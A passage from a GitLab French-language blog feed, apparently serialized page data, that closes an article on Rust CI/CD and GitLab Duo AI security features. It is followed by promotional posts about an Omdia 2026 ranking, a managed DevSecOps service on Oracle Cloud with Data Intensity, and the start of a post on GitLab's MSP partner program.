Pages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/go0tmljjzoxq5bujsdbv.png)\n\n## Déploiement dans tous les environnements\n\nL'une des plus grandes forces de GitLab est son approche indépendante de l'infrastructure pour le déploiement. Que votre organisation fonctionne sur des serveurs traditionnels sur site, sur des plateformes cloud modernes, sur des environnements hybrides ou sur une infrastructure edge computing, le système CI/CD de GitLab peut déployer des applications Rust de manière harmonieuse dans n'importe quel environnement cible.\n\nLa flexibilité de déploiement de GitLab découle de son approche axée sur les conteneurs et de son écosystème d'intégration étendu. La plateforme prend en charge le déploiement sur presque toutes les infrastructures capables d'exécuter des conteneurs, des machines virtuelles ou des applications sur serveur physique dédié. Cette polyvalence est particulièrement utile pour les applications Rust, qui doivent souvent fonctionner dans des environnements allant des systèmes embarqués avec des ressources limitées aux clusters cloud haute performance.\n\n### Déploiement dans Kubernetes\n\nGitLab simplifie les déploiements dans Kubernetes avec une intégration de cluster intégrée et des images Docker préconfigurées qui incluent des outils essentiels comme Helm et kubectl. Les équipes de développement n'ont alors plus besoin de configurer des environnements de déploiement complexes.\n\n```yaml\n# Deploy application to Kubernetes cluster\ndeploy:kubernetes:\n  stage: deploy                                          # Execute during deploy stage\n  image: registry.gitlab.com/gitlab-org/cluster-integration/helm-install-image:helm-3.10.0-kube-1.24.6-alpine-3.15  # Image with Helm and kubectl\n  variables:\n    HELM_HOST: \"localhost:44134\"                         # Helm host configuration\n    HELM_DEPLOY_NAME: mortgage-calc-$CI_COMMIT_REF_NAME  # Deployment name based on branch\n    HELM_DEPLOY_NAMESPACE: calc-app                      # Kubernetes namespace for deployment\n    KUBE_CONTEXT: $CI_PROJECT_PATH:rust-mortgage-calculator  # Kubernetes context to use\n  script:\n    - kubectl config use-context $KUBE_CONTEXT          # Set the kubectl context\n    # Deploy using Helm with custom values and Docker image\n    - helm upgrade --install $HELM_DEPLOY_NAME chart -f chart/values.yaml\n      --namespace $HELM_DEPLOY_NAMESPACE\n      --create-namespace\n      --set image=$DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG\n      --set calc.name=$HELM_DEPLOY_NAME\n  needs:\n    - package:docker                                     # Depends on Docker image being available\n```\n\nCette configuration GitLab CI définit un job de déploiement `deploy:kubernetes` qui utilise Helm pour déployer l'application de calculateur de prêt hypothécaire sur un cluster Kubernetes, avec la création ou la mise à niveau du déploiement dans un espace de nommage dédié avec l'image Docker construite dans l'étape d'empaquetage précédente.\n\n![Données de sortie Kubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/bgmbh4qyfxcnnlqvsitc.png)\n\n## Fonctionnalités d'IA de GitLab Duo\n\nLes fonctionnalités d'IA de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) offrent des avantages significatifs pour le développement Rust grâce à des suggestions de code intelligentes et des explications spécifiquement adaptées à la syntaxe et aux modèles uniques du langage. Rust est l'un des [langages directement pris en charge](https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#supported-languages-by-ide) de la plateforme GitLab pour chaque IDE et garantit une complétion et une génération de code de haute qualité qui comprend le modèle de propriété de Rust, les principes de sécurité mémoire et les modèles idiomatiques.\n\n### Suggestions de code de GitLab Duo\n\nLa capacité de GitLab Duo à fournir des suggestions de code en contexte pendant l'écriture aide les équipes de développement à naviguer plus efficacement dans la syntaxe parfois complexe de Rust, à réduire la courbe d'apprentissage pour les nouveaux venus et à accélérer la productivité des développeurs expérimentés.\n\n![Suggestions de code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/uvy6hmzvyd0mnqeic9tq.png)\n\n### GitLab Duo Chat\n\n[GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) complète les suggestions de code : il offre une assistance conversationnelle pour expliquer les sections de code Rust, déboguer les erreurs du compilateur et fournir des conseils sur les meilleures pratiques. Cette aide est particulièrement précieuse dans le développement Rust où les messages d'erreur du compilateur, bien qu'utiles, peuvent parfois surcharger les équipes de développement habituées à d'autres langages.\n\nL'IA peut aider à interpréter les messages d'erreur détaillés de Rust et suggérer des corrections afin d'accélérer le processus de développement en réduisant le temps passé à déchiffrer les problèmes de compilation.\n\n![GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/depxztu1h89bez3ylwk3.png)\n\nGitLab Duo Chat peut également être utilisé directement depuis le rapport de vulnérabilités pour fournir des explications sur un élément détecté. La fonctionnalité d'[explication des vulnérabilités](https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) de GitLab Duo représente une avancée significative qui renforce la sécurité des applications pour les équipes de développement. Plutôt que de simplement signaler des problèmes potentiels avec des codes d'erreur peu clairs ou du jargon technique, l'IA décompose la nature de chaque vulnérabilité, son impact potentiel et les étapes de remédiation en termes que les développeurs de tous niveaux peuvent rapidement comprendre.\n\nCette démocratisation des connaissances en sécurité accélère le processus de remédiation, réduit les allers-retours entre les équipes de sécurité et de développement et aide les organisations à livrer du code plus sécurisé plus rapidement :\n\n![Explication de vulnérabilité 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/rrcenbfazhhulmrp99yx.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405094/b3o4lkexyn9lp41ib8ye.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405095/y56wq8j5tg10t4dgbgfq.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/mpc1mst4ydijpqdtlljm.png)\n\n\u003Cp>\u003C/p>\n\nAvec GitLab Duo, vous avez également accès à [GitLab Duo Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/), un assistant de développement intelligent pour les applications Rust, qui offre une aide contextuelle tout au long du cycle de développement. Les équipes de développement peuvent tirer parti de son interface conversationnelle pour générer des extraits de code Rust et générer automatiquement des structures de code pour de nouveaux projets Rust avec des configurations `Cargo.toml` adaptées, entre autres.\n\n### Résolution des vulnérabilités avec GitLab Duo\n\nLa fonctionnalité de [résolution des vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) de GitLab Duo utilise l'IA pour générer automatiquement des corrections de code spécifiques pour les problèmes de sécurité détectés qui réduisent le temps de remédiation de plusieurs heures à quelques minutes. L'IA analyse les coding patterns vulnérables et propose des correctifs précis adaptés au contexte, au langage de programmation et aux dépendances du projet tout en maintenant la fonctionnalité du code et le style.\n\nCette automatisation est particulièrement efficace pour les vulnérabilités courantes comme l'injection SQL et le cross-site scripting, car elle permet aux équipes de développement de maintenir leur vélocité tout en améliorant significativement leur posture de sécurité sans perturber le workflow de développement.\n\n![Exemple de remédiation de GitLab Duo 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/blpwclp68igekkecbyna.png)\n\n\u003Cp>\u003C/p>\n\n![Exemple de remédiation de GitLab Duo 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/avvncsspwyirtk14jdbe.png)\n\n\u003Cp>\u003C/p>\n\n### Revue de code de GitLab Duo\n\nLa [revue de code alimentée par l'IA](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) de GitLab Duo améliore le processus de développement grâce à des commentaires intelligents et automatisés dans les merge requests avant toute intervention de réviseurs humains. L'IA analyse les modifications de code pour détecter les bogues potentiels, les vulnérabilités de sécurité, les problèmes de performance et l'adhérence aux normes de codage. De plus, elle fournit des suggestions contextuelles et des explications qui aident les équipes à détecter les problèmes tôt.\n\nEn renforçant les revues humaines traditionnelles avec des informations d'IA cohérentes et immédiates, cette fonctionnalité réduit la charge sur les développeurs seniors, accélère le cycle de revue et garantit que les vérifications de qualité de base sont appliquées de manière cohérente à toutes les contributions de code. La qualité du code est ainsi améliorée, et les réviseurs humains peuvent se concentrer sur l'architecture et la logique métier de plus haut niveau.\n\n![Revue de code de GitLab Duo 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/hewxrp2f22mf2fe4daaa.png)\n\n\u003Cp>\u003C/p>\n\n![Revue de code de GitLab Duo 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/qbw1gi0l4ngysnyjwoy8.png)\n\n\u003Cp>\u003C/p>\n\nCe ne sont là que quelques-unes des fonctionnalités IA qui peuvent être utilisées pour vous permettre de livrer des logiciels Rust plus sécurisés plus rapidement que jamais. Pour en savoir plus sur toutes les fonctionnalités d'IA de GitLab, consultez la [page de solution GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/).\n\n## Rust : l'avantage de GitLab\n\nGitLab fournit une plateforme de développement complète en synergie avec l'approche globale de Rust :\n\n**Workflow intégré :**\n- **Plateforme unique :** code, CI/CD, sécurité et déploiement en un seul endroit\n- **Optimisation pour Rust :** compilations basées sur Docker parfaites pour la chaîne d'outils Rust\n- **Sécurité d'abord :** analyse de sécurité intégrée\n- **Niveau entreprise :** infrastructure évolutive pour les grandes équipes\n\n**Avantages de performance :**\n- **Mise en cache efficace :** accélération des temps de compilation plus longs de Rust\n- **Compilations parallèles :** optimisation de l'efficacité de GitLab Runner\n- **Gestion des artefacts :** distribution de binaires rationalisée\n\n**Expérience développeur :**\n- **Outils familiers :** outils Rust standard (Cargo, Clippy, rustfmt)\n- **Retour visuel :** tableaux de bord et rapports complets\n- **Automatisation :** réduction des coûts de déploiement et de test manuels\n- **IA GitLab Duo :** livraison de logiciels plus sécurisés plus rapidement avec l'IA tout au long du cycle du développement logiciel\n\nLes capacités de la plateforme GitLab complètent parfaitement les avantages de Rust pour créer un écosystème où la sécurité, la performance et la productivité des développeurs convergent. Les applications Rust sur GitLab représentent la pointe du développement logiciel et sont alimentées par une plateforme qui comprend et améliore l'expérience de développement Rust.\n\nPour en savoir plus sur les avantages de GitLab, inscrivez-vous pour un [essai gratuit de GitLab Ultimate avec Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/).\n",{"slug":1044,"featured":13,"template":806},"secure-rust-development-with-gitlab",{"category":732,"slug":730,"posts":1046},[1047,1060,1075],{"content":1048,"config":1058},{"title":1049,"description":1050,"authors":1051,"heroImage":1053,"body":1054,"date":1055,"category":730,"tags":1056},"GitLab nommée Leader dans le rapport Omdia Universe 2026","Le rapport 2026 d'Omdia sur le développement logiciel assisté par l'IA a évalué 19 fournisseurs. Découvrez ce que les scores de GitLab signifient pour les équipes d'ingénierie.",[1052],"Rebecca Carter","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774465167/n5hlvrsrheadeccyr1oz.png","GitLab a été désignée Leader dans le rapport Omdia Universe 2026 pour le développement logiciel assisté par l'IA, dans la catégorie Outils basés sur un [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\"). Parmi les 19 fournisseurs évalués par ce cabinet d'analystes indépendant, GitLab a obtenu les meilleurs scores de sa catégorie dans trois domaines : Étendue de la solution (100 %), Stratégie et innovation (88%) et Fonctionnalités principales (82 %). Des scores de premier ordre ont également été attribués pour ses Fonctionnalités avancées et l'Exécution fournisseur.\n\n\nCette année, l'évaluation se distingue pour une raison précise : Omdia a élargi ses critères d'évaluation et, pour la première fois, les outils de développement d'IA ont été notés sur leur capacité à couvrir l'ensemble du cycle de vie logiciel, et non plus uniquement le codage. Cette évolution reflète la direction prise par l'évolution de l'IA et a bouleversé le classement des fournisseurs.\n\n\n![Graphique Omdia Universe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775848262/asyd6bpbtwlhicqonhit.png \"Source : Omdia, Universe : AI-assisted Software Development, Part 1: IDE-based Tools, 2026\")\n> [Téléchargez le rapport complet Omdia Universe.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n\n## À propos d'Omdia Universe\n\nOmdia Universe positionne les fournisseurs selon deux axes : la Capacité de la solution, ainsi que la Stratégie et l'exécution, en distinguant trois niveaux : Leaders (les plus performants sur les deux axes, recommandés pour toute liste de présélection), Challengers (périmètre fonctionnel plus restreint ou maturité moins avancée) et Prospects (fournisseurs en phase de démarrage ou à positionnement adjacent).\n\n## Ce qui a changé dans l'évaluation de cette année\n\nL'élargissement des critères d'Omdia reflète une réalité à laquelle les professionnels sont déjà confrontés. Les outils de codage basés sur l'IA ont considérablement augmenté la productivité des équipes de développement, et des applications qui nécessitaient autrefois plusieurs semaines de développement peuvent désormais être prototypées en un temps record. Toutefois, cette accélération au stade du codage ne se traduit pas automatiquement par une livraison plus rapide. Les backlogs de revue s'allongent. Les résultats de sécurité s'accumulent. Les déploiements nécessitent toujours une coordination entre des équipes qui utilisent des outils qui n'ont pas été conçus pour fonctionner ensemble.\n\nOmdia a ainsi mis en lumière cette dynamique : les outils qui se démarquent sont ceux qui gèrent les tests, la sécurité, le déploiement et l'orchestration, pas uniquement la [génération de code](https://about.gitlab.com/fr-fr/topics/devops/ai-code-generation-guide/ \"Génération de code\"). Ce constat a motivé la décision d'élargir les critères d'évaluation et a permis de distinguer les Leaders des Challengers.\n\nL'autre évolution majeure de ce rapport concerne la manière dont Omdia a traité l'IA agentique. L'évaluation 2026 a pondéré les capacités agentiques comme une dimension d'évaluation actuelle, et non comme une considération future. Cela inclut la capacité d'une plateforme à coordonner plusieurs tâches de manière autonome, à orchestrer les transferts entre agents spécialisés et à accompagner les équipes à différents stades d'adoption de l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\").\n\n## Les scores de GitLab\n\nGitLab a obtenu les meilleurs scores de sa catégorie dans trois domaines :\n\n**Étendue de la solution : 100 %.** Couverture de l'ensemble du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC?\") au sein d'une seule plateforme, de la planification et des exigences jusqu'au déploiement et à la gestion des tickets. Cela inclut des phases du cycle de vie que la plupart des outils d'IA pour le codage ne couvrent pas. Par exemple, des agents préconfigurés tels que l'agent [Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) et l'agent [Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) étendent l'assistance d'IA à la planification de sprint, au classement des vulnérabilités et aux recommandations de remédiation : autant d'étapes du cycle de vie où la livraison se retrouve réellement bloquée.\n\n**Stratégie et innovation : 88 %.** Différenciation grâce à une orchestration de bout en bout, une architecture axée sur la confidentialité sans entraînement sur les données privées, et une prise en charge multi-modèles via des partenariats avec Anthropic, Google et AWS. Les équipes peuvent sélectionner les modèles adaptés à leurs charges de travail et à leurs exigences en matière de données. L'approche de la plateforme en matière de contexte unifié, où les agents collaborent entre les tickets, les merge requests, les pipelines et les résultats de sécurité sans perdre l'état, illustre l'innovation architecturale reconnue par Omdia dans cette catégorie.\n\n**Fonctionnalités principales : 82 %.** Ce score reflète une couverture approfondie des étapes du cycle de vie où les équipes d'ingénierie passent la majeure partie de leur temps. Le code est généré à partir du contexte en temps réel de l'IDE et du code source, testé selon les dimensions unitaire, d'intégration et de sécurité, et revu avec une priorisation intégrée. L'automatisation [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") prend en charge le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\"), GitOps et l'[analyse des causes profondes](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#troubleshoot-failed-cicd-jobs-with-root-cause-analysis) pour les [échecs de pipeline](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/). Le [tableau de bord d'impact de l'IA](https://docs.gitlab.com/user/analytics/duo_and_sdlc_trends/) offre aux équipes une visibilité mesurable sur les délais de cycle, la fréquence de déploiement et les domaines où l'IA fait réellement progresser la productivité des équipes.\n\nGitLab a également obtenu une reconnaissance de premier plan pour ses Fonctionnalités avancées (80 %) et l'Exécution fournisseur (88 %).\n\n## L'évolution du rôle des développeurs et des agents d'IA\n\nL'une des conclusions les plus significatives du rapport d'Omdia porte sur l'évolution du rôle du développeur logiciel aux côtés de ces outils. Les équipes de développement sont de plus en plus composées d'ingénieurs en IA et de leurs agents d'IA, les ingénieurs assurant la supervision et la direction de l'IA agentique. Étant donné que l'IA génère la majeure partie du code, le rôle des équipes se déplace désormais vers la vérification du respect des exigences technologiques, le contrôle de la qualité, la mise en place de garde-fous appropriés, la conception de pipelines de production autonomes et la médiation entre les objectifs métier et l'utilisation de l'IA agentique tout au long du cycle de développement logiciel.\n\nCette évolution a des implications sur la façon dont les organisations évaluent leurs investissements en matière d'IA. Une équipe qui a automatisé la génération de code mais qui gère encore manuellement la revue, les tests et le déploiement n'a pas encore véritablement accéléré son innovation logicielle. Le gain de productivité lié à un codage plus rapide s'amplifie lorsque le reste du cycle de vie peut suivre le rythme. Il se réduit dans le cas contraire, et les goulots d'étranglement se déplacent en aval.\n\n## La conformité aux exigences des entreprises comme prérequis\n\nUn point notable dans la manière dont Omdia a structuré son évaluation cette année : les contrôles et les garde-fous d'entreprise ne constituent plus une catégorie bonus. Les certifications de conformité, la flexibilité de déploiement et l'architecture axée sur la confidentialité sont désormais des attentes de base pour les plateformes classées Leader, et non des caractéristiques distinctives. Les organisations des secteurs réglementés et celles soumises à des exigences de souveraineté des données considèrent désormais ces facteurs comme des critères d'entrée.\n\nLa position de GitLab sur ces aspects met en évidence sa différenciation unique sur le marché : une plateforme certifiée SOC 2 et ISO 27001, une [conception axée sur la confidentialité](https://about.gitlab.com/fr-fr/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/) sans entraînement sur les données privées des clients pour ses capacités d'IA agentique, une prise en charge du déploiement auto-géré dans le cloud et sur site (y compris les environnements air-gapped), ainsi qu'une prise en charge des modèles d'IA auto-hébergés. Sa mise à disposition sous forme d'application SaaS monolocataire via [GitLab Dedicated](https://about.gitlab.com/fr-fr/dedicated/), avec l'autorisation FedRAMP Moderate via GitLab Dedicated for Government, renforce son leadership en matière de flexibilité de déploiement.\n\nLe rapport d'Omdia a reconnu ces éléments non pas comme une liste de fonctionnalités, mais comme la preuve de la maturité de la plateforme pour les organisations où le niveau d'exigence en matière de conformité est le plus élevé : [services financiers](https://about.gitlab.com/fr-fr/solutions/finance/), [secteur public](https://about.gitlab.com/fr-fr/solutions/public-sector/), santé et autres secteurs réglementés qui ne peuvent faire aucun compromis sur la résidence des données ou l'auditabilité.\n\n## Évaluez votre niveau de maturité en matière de développement logiciel\n\nPour les équipes qui évaluent activement leur stratégie de développement avec l'IA, la recommandation d'Omdia est claire : GitLab doit figurer en tête de liste.\n\nPour la plupart des responsables techniques, la vraie question n'est pas de savoir quel outil d'IA génère le meilleur code, mais si le code généré peut être mis en production avec le plus haut niveau de qualité, de sécurité et de performance. Ce code doit être compris, gouverné et maintenu par les équipes logicielles qui en sont responsables. Avec GitLab, la vitesse de codage se traduit par une accélération de l'innovation.\n\nSi vous souhaitez évaluer la maturité de votre organisation en matière de bonnes pratiques et d'évolution du développement logiciel, passez notre test et obtenez votre score personnalisé sur les thématiques suivantes : [IA](https://about.gitlab.com/fr-fr/assessments/ai-modernization-assessment/), [DevOps](https://about.gitlab.com/fr-fr/assessments/devops-modernization-assessment/) et [Sécurité](https://about.gitlab.com/fr-fr/assessments/security-modernization-assessment/).\n\n[Téléchargez le rapport complet Omdia Universe.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n","2026-04-14",[1057,706,835,730],"research",{"featured":13,"template":806,"slug":1059},"gitlab-named-a-2026-omdia-universe-leader",{"content":1061,"config":1073},{"title":1062,"authors":1063,"date":1068,"body":1069,"category":730,"tags":1070,"description":1071,"heroImage":1072},"DevSecOps-as-a-Service avec OCI et Data Intensity",[1064,1065,1066,1067],"Biju Thomas","Matt Genelin","Karishma Kumar","Ryan Palmaro","2026-03-05","Chez GitLab, nous savons que de nombreuses organisations choisissent [GitLab Self-Managed](https://about.gitlab.com/fr-fr/pricing/?deployment=self-managed-deployment) pour le contrôle, la personnalisation et la sécurité que cette version offre. Cependant, la gestion de l'infrastructure sous-jacente peut représenter un défi opérationnel important, en particulier pour les équipes qui souhaitent se concentrer sur la livraison de logiciels plutôt que sur la maintenance des plateformes.\n\nC'est pourquoi nous sommes ravis de collaborer avec [Oracle Cloud Infrastructure (OCI)](https://www.oracle.com/fr/cloud/) et [Data Intensity](https://www.dataintensity.com/services/security-services/devsecops/), un fournisseur de services gérés de confiance d'Oracle, en vue de proposer une nouvelle option de service géré, le DevSecOps-as-a-Service. Cette option réunit le meilleur des deux mondes : le contrôle offert par GitLab Self-Managed et la simplicité opérationnelle d'un service entièrement géré.\n\n## Pourquoi choisir GitLab Self-Managed ?\n\nAvec GitLab Self-Managed, vous bénéficiez d’une maîtrise totale de votre plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\"). Vous contrôlez l'emplacement de vos données, la configuration de votre instance, et pouvez la personnaliser pour répondre à des exigences spécifiques de conformité, de sécurité ou d’exploitation. Ce niveau de contrôle est essentiel pour les organisations avec des exigences réglementaires strictes, des besoins en matière de résidence des données ou des intégrations spécifiques.\n\nPour certains clients GitLab Self-Managed, la gestion des serveurs et des mises à niveau, le maintien d'une haute disponibilité et la mise en œuvre de la reprise après sinistre constituent des défis qui nécessitent une expertise spécialisée et des ressources dédiées.\n\n## Une transition facilitée vers GitLab Self-Managed\n\nLe DevSecOps-as-a-Service de Data Intensity sur OCI élimine ces contraintes opérationnelles tout en préservant les avantages de GitLab Self-Managed en matière de contrôle. Au lieu de construire et de maintenir vous-même votre infrastructure, vous bénéficiez d'une instance GitLab autonome gérée par l'équipe d'experts de Data Intensity, qui s'exécute sur l'infrastructure cloud haute performance d'OCI.\n\nVoici ce que cette offre inclut :\n\n* Instance GitLab autonome sur l'infrastructure OCI\n* Surveillance 24 h/24 et 7 j/7, alarmes et assistance\n* Correctifs trimestriels programmés pendant vos fenêtres de maintenance choisies\n* Sauvegardes automatisées et protection contre les sinistres\n\n## Évoluer avec votre organisation\n\nLe service géré de Data Intensity est conçu pour évoluer avec votre équipe : il offre plusieurs niveaux d'architecture adaptés à votre nombre d'utilisateurs et à vos exigences de récupération.\n\n| **Fonctionnalité**        | **Standard**    | **Premier**     | **Premier +**   |\n|--------------------|-----------------|-----------------|-----------------|\n| **Nombre d'utilisateurs**  | Jusqu'à 1 000     | Jusqu'à 2 000     | Jusqu'à 3 000     |\n| **Performances**    | 20 requêtes/sec | 40 requêtes/sec | 60 requêtes/sec |\n| **Disponibilité**   | 99,9 %           | 99,95 %          | 99,99 %          |\n| **Récupération (RTO)** | 48 heures        | 8 heures         | 4 heures         |\n\nConsultez le site web de Data Intensity pour en savoir plus sur le [DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/).\n\n## Pourquoi choisir OCI pour GitLab ?\nOracle Cloud Infrastructure fournit une base solide pour l'exécution de GitLab Self-Managed et offre un environnement sécurisé et hautement performant à un coût nettement inférieur à celui des autres hyperscalers. Les organisations qui migrent leurs charges de travail vers OCI enregistrent généralement des réductions de coûts d'infrastructure de 40 à 50 %, ce qui facilite le financement et la mise à l'échelle des déploiements.\n\nOCI prend en charge un large éventail de modèles de déploiement, des régions de cloud public aux environnements spécialisés (Government Cloud, EU Sovereign Cloud), ainsi que les infrastructures dédiées déployées derrière votre pare-feu. Ces options s'accompagnent d'une tarification, d'outils et d'une expérience opérationnelle cohérents, qui permettent aux équipes de standardiser les déploiements GitLab dans des environnements réglementés, hybrides et mondiaux.\n\nLa combinaison de la plateforme DevSecOps complète de GitLab, de l'infrastructure haute performance d'OCI et de l'expertise en services gérés de Data Intensity fournit une solution clé en main qui permet à vos équipes de se concentrer sur ce qui compte : créer des logiciels de qualité.\n\n## Cette solution est-elle adaptée à votre organisation ?\nOptez pour le DevSecOps-as-a-Service de Data Intensity si vous :\n* Souhaitez utiliser GitLab Self-Managed mais avez besoin de minimiser la charge opérationnelle.\n* Devez respecter des exigences spécifiques de conformité, de sécurité ou de résidence des données.\n* Avez besoin de SLA garantis et de capacités professionnelles de reprise après sinistre.\n* Préférez des coûts prévisibles et une gestion d'experts plutôt que de développer une expertise interne en matière d'infrastructure.\n* Utilisez déjà ou prévoyez d'utiliser OCI pour votre infrastructure cloud.\n* Privilégiez la flexibilité et le contrôle.\n* Souhaitez disposer d’une instance dédiée gérée en externe avec le contrôle d'un environnement auto-géré.\n\n## Lancez-vous dès aujourd’hui !\nLes organisations qui souhaitent exécuter GitLab Self-Managed sur OCI via le DevSecOps-as-a-Service de Data Intensity peuvent contacter Data Intensity sur leur [site web](https://www.dataintensity.com/services/security-services/devsecops/) pour discuter des exigences spécifiques et commencer la planification du déploiement.\n\nModerniser votre DevSecOps est plus simple que vous ne le pensez. Data Intensity propose une migration facultative des dépôts de code et des options de personnalisation pour assurer une transition en douceur vers OCI.\n\nAlors que GitLab continue de développer son écosystème de partenaires, des solutions comme celle-ci démontrent notre engagement à offrir aux organisations le choix dans la façon dont elles déploient et gèrent GitLab.",[259,835],"Adoptez GitLab Self-Managed, sans la charge opérationnelle. Data Intensity assure le DevSecOps-as-a-Service sur Oracle Cloud Infrastructure (OCI) : expertise, gestion et continuité d'activité incluses.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":806,"slug":1074},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"content":1076,"config":1084},{"title":1077,"description":1078,"authors":1079,"heroImage":1080,"date":1081,"body":1082,"category":730,"tags":1083},"Présentation du programme Managed Service Provider (MSP) de GitLab","Développez une approche DevSecOps rentable et axée sur les services, avec le soutien de GitLab.",[1066],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*Cet article s'adresse aux partenaires MSP qui souhaitent développer une pratique GitLab. Si vous êtes développeur ou responsable technique, ce programme peut aider les partenaires qui accompagnent des équipes comme la vôtre à évoluer plus rapidement.*\n\nDe nombreuses organisations savent qu'elles ont besoin d'une plateforme DevSecOps moderne, mais elles ne disposent pas toujours des ressources nécessaires pour déployer, gérer et optimiser continuellement une plateforme tout en livrant des logiciels au rythme exigé par leur activité. Il s'agit là d'une véritable opportunité pour les fournisseurs MSP, et GitLab propose désormais un programme dédié pour les soutenir.\n\nNous sommes ravis de présenter le **programme partenaire MSP de GitLab**, un nouveau programme mondial qui permet aux MSP qualifiés de proposer GitLab à leurs clients sous forme de service entièrement géré.\n\n## Pourquoi ce programme est-il important pour les partenaires et les clients ?\n\nPour la première fois, GitLab dispose d'un programme officiellement défini et disponible à l’échelle mondiale, spécialement conçu pour les MSP. Ce programme comprend des exigences claires, une mise en œuvre structurée, une assistance dédiée et de réels avantages financiers, afin que les partenaires puissent investir en toute confiance dans la mise en place d'une pratique de services gérés GitLab.\n\nCe programme arrive à point nommé. Les organisations accélèrent leur transition vers le [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\"), mais nombre d'entre elles doivent gérer des migrations complexes, des chaînes d'outils disparates et des exigences de sécurité croissantes en plus de leur travail de création et de livraison de logiciels.\n\nLes partenaires MSP de GitLab gèrent l'aspect opérationnel de la plateforme, y compris le déploiement, la migration, l'administration et l'assistance continue, afin que les équipes de développement puissent se concentrer sur leur cœur de métier.\n\n## Avantages pour les partenaires MSP\n\n**Avantages financiers :** les partenaires MSP bénéficient des marges partenaires de GitLab ainsi que d'une prime MSP supplémentaire sur toutes les transactions, les nouveaux contrats et les renouvellements. Ils conservent également 100 % des frais de service facturés aux clients pour le déploiement, la migration, la formation, l'activation et le conseil stratégique.\n\n**Formation :** les partenaires ont accès à des bootcamps techniques trimestriels qui couvrent les mises à jour de version, les nouvelles fonctionnalités, les meilleures pratiques, les mises à jour continues de la roadmap et le partage entre pairs. Les certifications cloud recommandées (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) complètent la base technique.\n\n**Assistance à la commercialisation :** les MSP reçoivent un badge GitLab Certified MSP Partner, des ressources co-brandées, la possibilité de participer à des études de cas clients conjointes, une inscription au répertoire Partner Locator et l'accès à des fonds de développement marketing (MDF) pour les activités de génération de demande qualifiées.\n\n## Avantages pour les clients\n\nLes clients qui travaillent avec un partenaire MSP GitLab bénéficient d'une expérience DevSecOps structurée et gérée, de méthodologies de mise en œuvre documentées et reproductibles, d'examens réguliers de leurs activités et d'une assistance avec des procédures de réponse et d'escalade clairement définis.\n\nRésultat : les équipes de développement peuvent se concentrer sur la création de logiciels performants tandis que leur partenaire MSP gère l'exécution et l'optimisation de la plateforme.\n\n## L'IA, une nouvelle opportunité\n\nLes organisations cherchent de plus en plus à intégrer l'IA de manière sécurisée dans leurs workflows de développement logiciel, et même les équipes expérimentées peuvent bénéficier d'une approche structurée pour la déployer à grande échelle. Les partenaires MSP de GitLab sont bien placés pour guider les clients dans l'utilisation de GitLab Duo Agent Platform dans le cadre d'une offre plus large de services gérés.\n\nEn combinant la plateforme DevSecOps de GitLab avec l'expertise opérationnelle fournie par les MSP, les clients peuvent tester des workflows assistés par l'IA dans un environnement contrôlé, répondre aux exigences en matière de résidence des données et de conformité, et étendre l'adoption de l'IA à toutes les équipes sans surcharger les ressources internes.\n\n## Ce programme est-il adapté à mon entreprise ?\n\nLe programme partenaire MSP de GitLab est le choix idéal si vous :\n\n* Fournissez déjà des 